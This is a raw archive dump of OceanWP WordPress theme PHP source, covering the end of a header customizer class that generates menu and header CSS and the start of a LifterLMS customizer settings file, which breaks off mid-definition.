.mega-cat-title{background-color:'. $dropdown_category_title_bg .';}'; } // Dropdown menu link active background color if ( ! empty( $dropdown_category_title_color ) && '#222222' != $dropdown_category_title_color ) { $css .= '.navigation li.mega-cat .mega-cat-title{color:'. $dropdown_category_title_color .';}'; } // Dropdown menu link active background color if ( ! empty( $dropdown_category_links_color ) && '#555555' != $dropdown_category_links_color ) { $css .= '.navigation li.mega-cat ul li .mega-post-title a{color:'. $dropdown_category_links_color .';}'; } // Dropdown menu link active background color if ( ! empty( $dropdown_category_links_hover_color ) && '#333333' != $dropdown_category_links_hover_color ) { $css .= '.navigation li.mega-cat ul li .mega-post-title a:hover{color:'. $dropdown_category_links_hover_color .';}'; } // Dropdown menu link active background color if ( ! empty( $dropdown_category_date_color ) && '#bbbbbb' != $dropdown_category_date_color ) { $css .= '.navigation li.mega-cat ul li .mega-post-date{color:'. $dropdown_category_date_color .';}'; $css .= '.navigation li.mega-cat ul li .mega-post-date .owp-icon use{stroke:'. $dropdown_category_date_color .';}'; } // Add social menu font size if ( ! empty( $menu_social_font_size ) ) { $css .= '.oceanwp-social-menu ul li a,.oceanwp-social-menu .colored ul li a,.oceanwp-social-menu .minimal ul li a,.oceanwp-social-menu .dark ul li a{font-size:'. $menu_social_font_size .'px;}'; $css .= '.oceanwp-social-menu ul li a .owp-icon,.oceanwp-social-menu .colored ul li a .owp-icon,.oceanwp-social-menu .minimal ul li a .owp-icon,.oceanwp-social-menu .dark ul li a .owp-icon{width:'. $menu_social_font_size .'px; height:'. $menu_social_font_size .'px;}'; } // Add social menu tablet font size if ( ! empty( $menu_social_tablet_font_size ) ) { $css .= '@media (max-width: 768px){.oceanwp-social-menu ul li a,.oceanwp-social-menu .colored ul li a,.oceanwp-social-menu .minimal ul li a,.oceanwp-social-menu .dark ul li a,.sidr-class-social-menu-inner ul li a{font-size:'. $menu_social_tablet_font_size .'px;}}'; $css .= '@media (max-width: 768px){.oceanwp-social-menu ul li a .owp-icon,.oceanwp-social-menu .colored ul li a .owp-icon,.oceanwp-social-menu .minimal ul li a .owp-icon,.oceanwp-social-menu .dark ul li a .owp-icon{width:'. $menu_social_tablet_font_size .'px; height:'. $menu_social_tablet_font_size .'px;}}'; } // Add social menu mobile font size if ( ! empty( $menu_social_mobile_font_size ) ) { $css .= '@media (max-width: 480px){.oceanwp-social-menu ul li a,.oceanwp-social-menu .colored ul li a,.oceanwp-social-menu .minimal ul li a,.oceanwp-social-menu .dark ul li a,.sidr-class-social-menu-inner ul li a{font-size:'. $menu_social_mobile_font_size .'px;}}'; $css .= '@media (max-width: 480px){.oceanwp-social-menu ul li a .owp-icon,.oceanwp-social-menu .colored ul li a .owp-icon,.oceanwp-social-menu .minimal ul li a .owp-icon,.oceanwp-social-menu .dark ul li a .owp-icon{width:'. $menu_social_mobile_font_size .'px; height:'. $menu_social_mobile_font_size .'px;}}'; } // Social menu padding if ( isset( $menu_social_top_padding ) && '' != $menu_social_top_padding || isset( $menu_social_right_padding ) && '' != $menu_social_right_padding || isset( $menu_social_bottom_padding ) && '' != $menu_social_bottom_padding || isset( $menu_social_left_padding ) && '' != $menu_social_left_padding ) { $css .= '.oceanwp-social-menu ul li a{padding:'. oceanwp_spacing_css( $menu_social_top_padding, $menu_social_right_padding, $menu_social_bottom_padding, $menu_social_left_padding ) .'}'; } // Tablet social menu padding if ( isset( $menu_social_tablet_top_padding ) && '' != $menu_social_tablet_top_padding || isset( $menu_social_tablet_right_padding ) && '' != $menu_social_tablet_right_padding || isset( $menu_social_tablet_bottom_padding ) && '' != $menu_social_tablet_bottom_padding || isset( $menu_social_tablet_left_padding ) && '' != $menu_social_tablet_left_padding ) { $css .= '@media (max-width: 768px){.oceanwp-social-menu ul li a{padding:'. oceanwp_spacing_css( $menu_social_tablet_top_padding, $menu_social_tablet_right_padding, $menu_social_tablet_bottom_padding, $menu_social_tablet_left_padding ) .'}}'; } // Mobile social menu padding if ( isset( $menu_social_mobile_top_padding ) && '' != $menu_social_mobile_top_padding || isset( $menu_social_mobile_right_padding ) && '' != $menu_social_mobile_right_padding || isset( $menu_social_mobile_bottom_padding ) && '' != $menu_social_mobile_bottom_padding || isset( $menu_social_mobile_left_padding ) && '' != $menu_social_mobile_left_padding ) { $css .= '@media (max-width: 480px){.oceanwp-social-menu ul li a{padding:'. oceanwp_spacing_css( $menu_social_mobile_top_padding, $menu_social_mobile_right_padding, $menu_social_mobile_bottom_padding, $menu_social_mobile_left_padding ) .'}}'; } // Social menu padding if ( isset( $menu_social_right_margin ) && '' != $menu_social_right_margin || isset( $menu_social_left_margin ) && '' != $menu_social_left_margin ) { $css .= '.oceanwp-social-menu ul li a{margin:'. oceanwp_spacing_css( '', $menu_social_right_margin, '', $menu_social_left_margin ) .'}'; } // Tablet social menu padding if ( isset( $menu_social_tablet_right_margin ) && '' != $menu_social_tablet_right_margin || isset( $menu_social_tablet_left_margin ) && '' != $menu_social_tablet_left_margin ) { $css .= '@media (max-width: 768px){.oceanwp-social-menu ul li a{margin:'. oceanwp_spacing_css( '', $menu_social_tablet_right_margin, '', $menu_social_tablet_left_margin ) .'}}'; } // Mobile social menu padding if ( isset( $menu_social_mobile_right_margin ) && '' != $menu_social_mobile_right_margin || isset( $menu_social_mobile_left_margin ) && '' != $menu_social_mobile_left_margin ) { $css .= '@media (max-width: 480px){.oceanwp-social-menu ul li a{margin:'. oceanwp_spacing_css( '', $menu_social_mobile_right_margin, '', $menu_social_mobile_left_margin ) .'}}'; } // Social menu links border radius if ( ! empty( $menu_social_border_radius ) ) { $css .= '.oceanwp-social-menu ul li a{border-radius:'. $menu_social_border_radius .';}'; } // Social menu links background color if ( ! empty( $menu_social_links_bg ) ) { $css .= '.oceanwp-social-menu.simple-social ul li a{background-color:'. $menu_social_links_bg .';}'; } // Social menu links background color if ( ! empty( $menu_social_hover_links_bg ) ) { $css .= '.oceanwp-social-menu.simple-social ul li a:hover{background-color:'. $menu_social_hover_links_bg .';}'; } // Social menu links color if ( ! empty( $menu_social_links_color ) ) { $css .= '.oceanwp-social-menu.simple-social ul li a{color:'. $menu_social_links_color .';}'; $css .= '.oceanwp-social-menu.simple-social ul li a .owp-icon use{stroke:'. $menu_social_links_color .';}'; } // social menu links hover color if ( ! empty( $menu_social_hover_links_color ) ) { $css .= '.oceanwp-social-menu.simple-social ul li a:hover{color:'. $menu_social_hover_links_color .'!important;}'; $css .= '.oceanwp-social-menu.simple-social ul li a:hover .owp-icon use{stroke:'. $menu_social_hover_links_color .'!important;}'; } // Mobile menu breakpoint if ( ! empty( $mobile_menu_breakpoint ) && '959' != $mobile_menu_breakpoint ) { if ( 'custom' == $mobile_menu_breakpoint && ! empty( $mobile_menu_custom_breakpoint ) && '959' != $mobile_menu_custom_breakpoint ) { $mobile_menu_breakpoint = $mobile_menu_custom_breakpoint; } $css .= '@media (max-width: '. $mobile_menu_breakpoint .'px) { #top-bar-nav, #site-navigation-wrap, .oceanwp-social-menu, .after-header-content {display: none;} .center-logo #site-logo { float: none; position: absolute; left: 50%; padding: 0; -webkit-transform: translateX(-50%); transform: translateX(-50%); } #site-header.center-header #site-logo, .oceanwp-mobile-menu-icon, #oceanwp-cart-sidebar-wrap {display: block;} body.vertical-header-style #outer-wrap {margin: 0 !important;} #site-header.vertical-header { position: relative; width: 100%; left: 0 !important; right: 0 !important; } #site-header.vertical-header .has-template > #site-logo { display: block; } #site-header.vertical-header #site-header-inner { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; align-items: center; padding: 0; max-width: 90%; } #site-header.vertical-header #site-header-inner > *:not(.oceanwp-mobile-menu-icon) { display: none; } #site-header.vertical-header #site-header-inner > * { padding: 0 !important; } #site-header.vertical-header #site-header-inner #site-logo { display: block; margin: 0; width: 50%; text-align: left; } body.rtl #site-header.vertical-header #site-header-inner #site-logo { text-align: right; } #site-header.vertical-header #site-header-inner .oceanwp-mobile-menu-icon { width: 50%; text-align: right; } body.rtl #site-header.vertical-header #site-header-inner .oceanwp-mobile-menu-icon { text-align: left; } #site-header.vertical-header .vertical-toggle, body.vertical-header-style.vh-closed #site-header.vertical-header .vertical-toggle { display: none; } #site-logo.has-responsive-logo .custom-logo-link { display: none; } #site-logo.has-responsive-logo .responsive-logo-link { display: block; } .is-sticky #site-logo.has-sticky-logo .responsive-logo-link { display: none; } .is-sticky #site-logo.has-responsive-logo .sticky-logo-link { display: block; } #top-bar.has-no-content #top-bar-social.top-bar-left, #top-bar.has-no-content #top-bar-social.top-bar-right {position: inherit; left: auto; right: auto; float: none; height: auto; line-height: 1.5em; margin-top: 0; text-align: center;} #top-bar.has-no-content #top-bar-social li {float: none; display: inline-block;} .owp-cart-overlay, #side-panel-wrap a.side-panel-btn { display: none !important; } }'; // Add mobile header height if ( ( 'top' != $header_style && 'medium' != $header_style ) && ! empty( $mobile_header_height ) ) { if ( 'custom' != $header_style ) { $css .= '@media (max-width: '. $mobile_menu_breakpoint .'px) {#site-logo #site-logo-inner{height:'. $mobile_header_height .'px;}}'; } $css .= '@media (max-width: '. $mobile_menu_breakpoint .'px) {.oceanwp-mobile-menu-icon a{line-height:'. $mobile_header_height .'px;}}'; } } // Custom hamburger mobile menu button color if ( 'default' != get_theme_mod( 'ocean_mobile_menu_open_hamburger', 'default' ) && ! empty( $mobile_menu_open_hamburger_color ) ) { $css .= '.mobile-menu .hamburger-inner, .mobile-menu .hamburger-inner::before, .mobile-menu .hamburger-inner::after{background-color:'. $mobile_menu_open_hamburger_color .';}'; } // Drop down mobile menu max height if ( 'dropdown' == $mobile_style && ! empty( $dropdown_mobile_menu_max_height ) && '400' != $dropdown_mobile_menu_max_height ) { $css .= '#mobile-dropdown{max-height:'. $dropdown_mobile_menu_max_height .'px;}'; } // Mobile menu sidr close button background if ( ! empty( $mobile_menu_sidr_close_button_bg ) && '#f8f8f8' != $mobile_menu_sidr_close_button_bg ) { $css .= 'a.sidr-class-toggle-sidr-close{background-color:'. $mobile_menu_sidr_close_button_bg .';}'; } // Mobile menu background if ( ! empty( $mobile_menu_sidr_background ) && '#ffffff' != $mobile_menu_sidr_background ) { $css .= '#sidr, #mobile-dropdown{background-color:'. $mobile_menu_sidr_background .';}'; } // Full screen mobile menu background if ( 'fullscreen' == $mobile_style && ! empty( $full_screen_mobile_menu_bg ) && 'rgba(0,0,0,0.9)' != $full_screen_mobile_menu_bg ) { $css .= '#mobile-fullscreen{background-color:'. $full_screen_mobile_menu_bg .';}'; } // Mobile menu borders color if ( ! empty( $mobile_menu_sidr_borders ) && 'rgba(0,0,0,0.035)' != $mobile_menu_sidr_borders ) { $css .= '#sidr li, #sidr ul, #mobile-dropdown ul li, #mobile-dropdown ul li ul{border-color:'. $mobile_menu_sidr_borders .';}'; } // Mobile menu links color if ( ! empty( $mobile_menu_links ) && '#555555' != $mobile_menu_links ) { $css .= 'body .sidr a, body .sidr-class-dropdown-toggle, #mobile-dropdown ul li a, #mobile-dropdown ul li a .dropdown-toggle, #mobile-fullscreen ul li a, #mobile-fullscreen .oceanwp-social-menu.simple-social ul li a{color:'. $mobile_menu_links .';}'; $css .= '#mobile-fullscreen a.close .close-icon-inner, #mobile-fullscreen a.close .close-icon-inner::after{background-color:'. $mobile_menu_links .';}'; } // Mobile menu links hover color if ( ! empty( $mobile_menu_links_hover ) && '#13aff0' != $mobile_menu_links_hover ) { $css .= 'body .sidr a:hover, body .sidr-class-dropdown-toggle:hover, body .sidr-class-dropdown-toggle .fa, body .sidr-class-menu-item-has-children.active > a, body .sidr-class-menu-item-has-children.active > a > .sidr-class-dropdown-toggle, #mobile-dropdown ul li a:hover, #mobile-dropdown ul li a .dropdown-toggle:hover, #mobile-dropdown .menu-item-has-children.active > a, #mobile-dropdown .menu-item-has-children.active > a > .dropdown-toggle, #mobile-fullscreen ul li a:hover, #mobile-fullscreen .oceanwp-social-menu.simple-social ul li a:hover{color:'. $mobile_menu_links_hover .';}'; $css .= '#mobile-fullscreen a.close:hover .close-icon-inner, #mobile-fullscreen a.close:hover .close-icon-inner::after{background-color:'. $mobile_menu_links_hover .';}'; } // Mobile menu links background color if ( 'fullscreen' == $mobile_style && ! empty( $full_screen_mobile_menu_links_bg ) ) { $css .= '#mobile-fullscreen ul > li > a{background-color:'. $full_screen_mobile_menu_links_bg .';}'; } // Mobile menu links hover background color if ( 'fullscreen' == $mobile_style && ! empty( $full_screen_mobile_menu_links_hover_bg ) ) { $css .= '#mobile-fullscreen ul > li > a:hover{background-color:'. $full_screen_mobile_menu_links_hover_bg .';}'; } // Mobile menu dropdowns background color if ( ! empty( $mobile_menu_sidr_dropdowns_bg ) && 'rgba(0,0,0,0.02)' != $mobile_menu_sidr_dropdowns_bg ) { $css .= '.sidr-class-dropdown-menu ul, #mobile-dropdown ul li ul, #mobile-fullscreen ul ul.sub-menu{background-color:'. $mobile_menu_sidr_dropdowns_bg .';}'; } // Mobile menu search background color if ( ! empty( $mobile_menu_sidr_search_bg ) ) { $css .= 'body .sidr-class-mobile-searchform input, #mobile-dropdown #mobile-menu-search form input{background-color:'. $mobile_menu_sidr_search_bg .';}'; } // Mobile menu search background color if ( ! empty( $mobile_menu_sidr_search_color ) && '#333333' != $mobile_menu_sidr_search_color ) { $css .= 'body .sidr-class-mobile-searchform input,body .sidr-class-mobile-searchform input:focus, #mobile-dropdown #mobile-menu-search form input, #mobile-fullscreen #mobile-search input, #mobile-fullscreen #mobile-search label{color:'. $mobile_menu_sidr_search_color .';}'; } // Mobile menu search border color if ( ! empty( $mobile_menu_sidr_search_border_color ) && '#dddddd' != $mobile_menu_sidr_search_border_color ) { $css .= 'body .sidr-class-mobile-searchform input, #mobile-dropdown #mobile-menu-search form input, #mobile-fullscreen #mobile-search input{border-color:'. $mobile_menu_sidr_search_border_color .';}'; } // Full screen mobile menu search hover border color if ( 'fullscreen' == $mobile_style && ! empty( $full_screen_mobile_menu_search_border_color_hover ) && '#ffffff' != $full_screen_mobile_menu_search_border_color_hover ) { $css .= '#mobile-fullscreen #mobile-search input:hover{border-color:'. $full_screen_mobile_menu_search_border_color_hover .';}'; } // Mobile menu search focus border color if ( ! empty( $mobile_menu_sidr_search_border_color_focus ) && '#bbbbbb' != $mobile_menu_sidr_search_border_color_focus ) { $css .= 'body .sidr-class-mobile-searchform input:focus, #mobile-dropdown #mobile-menu-search form input:focus, #mobile-fullscreen #mobile-search input:focus{border-color:'. $mobile_menu_sidr_search_border_color_focus .';}'; } // Mobile menu search border color if ( ! empty( $mobile_menu_sidr_search_button_color ) && '#555555' != $mobile_menu_sidr_search_button_color ) { $css .= '.sidr-class-mobile-searchform button, #mobile-dropdown #mobile-menu-search form button{color:'. $mobile_menu_sidr_search_button_color .';}'; $css .= '.sidr-class-mobile-searchform button .owp-icon use, #mobile-dropdown #mobile-menu-search form button .owp-icon use{stroke:'. $mobile_menu_sidr_search_button_color .';}'; } // Mobile menu search border color if ( ! empty( $mobile_menu_sidr_search_button_hover_color ) && '#222222' != $mobile_menu_sidr_search_button_hover_color ) { $css .= '.sidr-class-mobile-searchform button:hover, #mobile-dropdown #mobile-menu-search form button:hover{color:'. $mobile_menu_sidr_search_button_hover_color .';}'; $css .= '.sidr-class-mobile-searchform button:hover .owp-icon use, #mobile-dropdown #mobile-menu-search form button:hover .owp-icon use{stroke:'. $mobile_menu_sidr_search_button_hover_color .';}'; } // Return CSS if ( ! empty( $css ) ) { $output .= '/* Header CSS */'. $css; } // Return output css return $output; } /** * Get header image CSS * * @since 1.0.0 */ public static function header_image_css( $output ) { // Global vars $header_image = get_header_image(); $header_image_position = get_theme_mod( 'ocean_header_image_position' ); $header_image_attachment = get_theme_mod( 'ocean_header_image_attachment' ); $header_image_repeat = get_theme_mod( 'ocean_header_image_repeat' ); $header_image_size = get_theme_mod( 'ocean_header_image_size' ); // Define css var $css = ''; // Get site background image if ( ! empty( $header_image ) ) { $css .= 'background-image:url('. $header_image .');'; } // Get site background position if ( ! empty( $header_image_position ) && 'initial' != $header_image_position ) { $css .= 'background-position:'. $header_image_position .';'; } // Get site background attachment if ( ! empty( $header_image_attachment ) && 'initial' != $header_image_attachment ) { $css .= 'background-attachment:'. $header_image_attachment .';'; } // Get site background repeat if ( ! empty( $header_image_repeat ) && 'initial' != $header_image_repeat ) { $css .= 'background-repeat:'. $header_image_repeat .';'; } // Get site background size if ( ! empty( $header_image_size ) && 'initial' != $header_image_size ) { $css .= 'background-size:'. $header_image_size .';'; } // Return CSS if ( has_header_image() && ! empty( $css ) ) { $output .= '/* Header Image CSS */#site-header{'. $css .'}'; } // Return output css return $output; } } endif; return new OceanWP_Header_Customizer();customizer/settings/lifterlms.php000064400000210577151551031110013327 0ustar00add_panel( $panel , array( 'title' => esc_html__( 'LifterLMS', 'oceanwp' ), 'priority' => 210, ) ); /** * Section */ $wp_customize->add_section( 'ocean_llms_general' , array( 'title' => esc_html__( 'General', 'oceanwp' ), 'description' => esc_html__( 'For some options, you must save and refresh your live site to preview changes.', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * General Header */ $wp_customize->add_setting( 'ocean_llms_general_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_llms_general_heading', array( 'label' => esc_html__( 'General', 'oceanwp' ), 'section' => 'ocean_llms_general', 'priority' => 10, ) ) ); /** * Distraction Free Checkout */ $wp_customize->add_setting( 'ocean_llms_distraction_free_checkout', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_llms_distraction_free_checkout', array( 'label' => esc_html__( 'Distraction Free Checkout', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_llms_general', 'settings' => 'ocean_llms_distraction_free_checkout', 'priority' => 10, ) ) ); /** * Distraction Free Learning */ $wp_customize->add_setting( 'ocean_llms_distraction_free_learning', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_llms_distraction_free_learning', array( 'label' => esc_html__( 'Distraction Free Learning', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_llms_general', 'settings' => 'ocean_llms_distraction_free_learning', 'priority' => 10, ) ) ); /** * Grid */ $wp_customize->add_setting( 'ocean_llms_grid_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_llms_grid_heading', array( 'label' => esc_html__( 'Grid', 'oceanwp' ), 'section' => 'ocean_llms_general', 'priority' => 10, ) ) ); /** * Courses Columns */ $wp_customize->add_setting( 'ocean_llms_courses_columns', array( 'transport' => 'postMessage', 'default' => '3', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_llms_tablet_courses_columns', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_mobile_courses_columns', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Slider_Control( $wp_customize, 'ocean_llms_courses_columns', array( 'label' => esc_html__( 'Courses Columns', 'oceanwp' ), 'section' => 'ocean_llms_general', 'settings' => array( 'desktop' => 'ocean_llms_courses_columns', 'tablet' => 'ocean_llms_tablet_courses_columns', 'mobile' => 'ocean_llms_mobile_courses_columns', ), 'priority' => 10, 'input_attrs' => array( 'min' => 1, 'max' => 6, 'step' => 1, ), ) ) ); /** * Membership Columns */ $wp_customize->add_setting( 'ocean_llms_membership_columns', array( 'transport' => 'postMessage', 'default' => '3', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_llms_tablet_membership_columns', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number _blank', ) ); $wp_customize->add_setting( 'ocean_llms_mobile_membership_columns', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Slider_Control( $wp_customize, 'ocean_llms_membership_columns', array( 'label' => esc_html__( 'Membership Columns', 'oceanwp' ), 'section' => 'ocean_llms_general', 'settings' => array( 'desktop' => 'ocean_llms_membership_columns', 'tablet' => 'ocean_llms_tablet_membership_columns', 'mobile' => 'ocean_llms_mobile_membership_columns', ), 'priority' => 10, 'input_attrs' => array( 'min' => 1, 'max' => 6, 'step' => 1, ), ) ) ); /** * Course Details */ $wp_customize->add_setting( 'ocean_llms_course_details_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_llms_course_details_heading', array( 'label' => esc_html__( 'Course Details', 'oceanwp' ), 'section' => 'ocean_llms_general', 'priority' => 10, ) ) ); /** * Course Details */ $wp_customize->add_setting( 'ocean_llms_course_details', array( 'default' => array( 'image', 'description', 'meta', 'author', 'progress', 'syllabus' ), 'sanitize_callback' => 'oceanwp_sanitize_multicheck', ) ); $wp_customize->add_control( new OceanWP_Customize_Multicheck_Control( $wp_customize, 'ocean_llms_course_details', array( 'label' => esc_html__( 'Course Details', 'oceanwp' ), 'section' => 'ocean_llms_general', 'settings' => 'ocean_llms_course_details', 'priority' => 10, 'choices' => array( 'image' => esc_html__( 'Featured Image', 'oceanwp' ), 'description' => esc_html__( 'Description', 'oceanwp' ), 'meta' => esc_html__( 'Meta', 'oceanwp' ), 'author' => esc_html__( 'Author', 'oceanwp' ), 'progress' => esc_html__( 'Progress', 'oceanwp' ), 'syllabus' => esc_html__( 'Syllabus', 'oceanwp' ), ), ) ) ); /** * Membership Details */ $wp_customize->add_setting( 'ocean_llms_membership_image_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_llms_membership_image_heading', array( 'label' => esc_html__( 'Membership Details', 'oceanwp' ), 'section' => 'ocean_llms_general', 'priority' => 10, ) ) ); /** * Membership Image **/ $wp_customize->add_setting( 'ocean_llms_membership_image', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_llms_membership_image', array( 'label' => esc_html__( 'Featured Image', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_llms_general', 'settings' => 'ocean_llms_membership_image', 'priority' => 10, ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_llms_layout' , array( 'title' => esc_html__( 'Layout', 'oceanwp' ), 'description' => esc_html__( 'For some options, you must save and refresh your live site to preview changes.', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Global Layout Header */ $wp_customize->add_setting( 'ocean_llms_global_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_llms_global_heading', array( 'label' => esc_html__( 'Global', 'oceanwp' ), 'section' => 'ocean_llms_layout', 'priority' => 10, ) ) ); /** * Layout */ $wp_customize->add_setting( 'ocean_llms_global_layout', array( 'default' => 'full-width', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Radio_Image_Control( $wp_customize, 'ocean_llms_global_layout', array( 'label' => esc_html__( 'Layout', 'oceanwp' ), 'section' => 'ocean_llms_layout', 'settings' => 'ocean_llms_global_layout', 'priority' => 10, 'choices' => oceanwp_customizer_layout(), ) ) ); /** * Both Sidebars Style */ $wp_customize->add_setting( 'ocean_llms_global_both_sidebars_style', array( 'default' => 'scs-style', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_llms_global_both_sidebars_style', array( 'label' => esc_html__( 'Both Sidebars: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_llms_layout', 'settings' => 'ocean_llms_global_both_sidebars_style', 'priority' => 10, 'choices' => array( 'ssc-style' => esc_html__( 'Sidebar / Sidebar / Content', 'oceanwp' ), 'scs-style' => esc_html__( 'Sidebar / Content / Sidebar', 'oceanwp' ), 'css-style' => esc_html__( 'Content / Sidebar / Sidebar', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_llms_global_bs_layout', ) ) ); /** * Both Sidebars Content Width */ $wp_customize->add_setting( 'ocean_llms_global_both_sidebars_content_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_llms_global_both_sidebars_content_width', array( 'label' => esc_html__( 'Both Sidebars: Content Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_llms_layout', 'settings' => 'ocean_llms_global_both_sidebars_content_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_llms_global_bs_layout', ) ) ); /** * Both Sidebars Sidebars Width */ $wp_customize->add_setting( 'ocean_llms_global_both_sidebars_sidebars_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_llms_global_both_sidebars_sidebars_width', array( 'label' => esc_html__( 'Both Sidebars: Sidebars Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_llms_layout', 'settings' => 'ocean_llms_global_both_sidebars_sidebars_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_llms_global_bs_layout', ) ) ); /** * Mobile Sidebar Order */ $wp_customize->add_setting( 'ocean_llms_global_sidebar_order', array( 'default' => 'content-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_llms_global_sidebar_order', array( 'label' => esc_html__( 'Mobile Sidebar Order', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_llms_layout', 'settings' => 'ocean_llms_global_sidebar_order', 'priority' => 10, 'choices' => array( 'content-sidebar' => esc_html__( 'Content / Sidebar', 'oceanwp' ), 'sidebar-content' => esc_html__( 'Sidebar / Content', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_llms_global_rl_layout', ) ) ); /** * Course Page Header */ $wp_customize->add_setting( 'ocean_llms_course_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_llms_course_heading', array( 'label' => esc_html__( 'Course', 'oceanwp' ), 'section' => 'ocean_llms_layout', 'priority' => 10, ) ) ); /** * Layout */ $wp_customize->add_setting( 'ocean_llms_course_layout', array( 'default' => 'left-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Radio_Image_Control( $wp_customize, 'ocean_llms_course_layout', array( 'label' => esc_html__( 'Layout', 'oceanwp' ), 'section' => 'ocean_llms_layout', 'settings' => 'ocean_llms_course_layout', 'priority' => 10, 'choices' => oceanwp_customizer_layout(), ) ) ); /** * Both Sidebars Style */ $wp_customize->add_setting( 'ocean_llms_course_both_sidebars_style', array( 'default' => 'scs-style', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_llms_course_both_sidebars_style', array( 'label' => esc_html__( 'Both Sidebars: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_llms_layout', 'settings' => 'ocean_llms_course_both_sidebars_style', 'priority' => 10, 'choices' => array( 'ssc-style' => esc_html__( 'Sidebar / Sidebar / Content', 'oceanwp' ), 'scs-style' => esc_html__( 'Sidebar / Content / Sidebar', 'oceanwp' ), 'css-style' => esc_html__( 'Content / Sidebar / Sidebar', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_llms_course_bs_layout', ) ) ); /** * Both Sidebars Content Width */ $wp_customize->add_setting( 'ocean_llms_course_both_sidebars_content_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_llms_course_both_sidebars_content_width', array( 'label' => esc_html__( 'Both Sidebars: Content Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_llms_layout', 'settings' => 'ocean_llms_course_both_sidebars_content_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_llms_course_bs_layout', ) ) ); /** * Both Sidebars Sidebars Width */ $wp_customize->add_setting( 'ocean_llms_course_both_sidebars_sidebars_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_llms_course_both_sidebars_sidebars_width', array( 'label' => esc_html__( 'Both Sidebars: Sidebars Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_llms_layout', 'settings' => 'ocean_llms_course_both_sidebars_sidebars_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_llms_course_bs_layout', ) ) ); /** * Mobile Sidebar Order */ $wp_customize->add_setting( 'ocean_llms_course_sidebar_order', array( 'default' => 'content-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_llms_course_sidebar_order', array( 'label' => esc_html__( 'Mobile Sidebar Order', 'oceanwp' ), 'type' 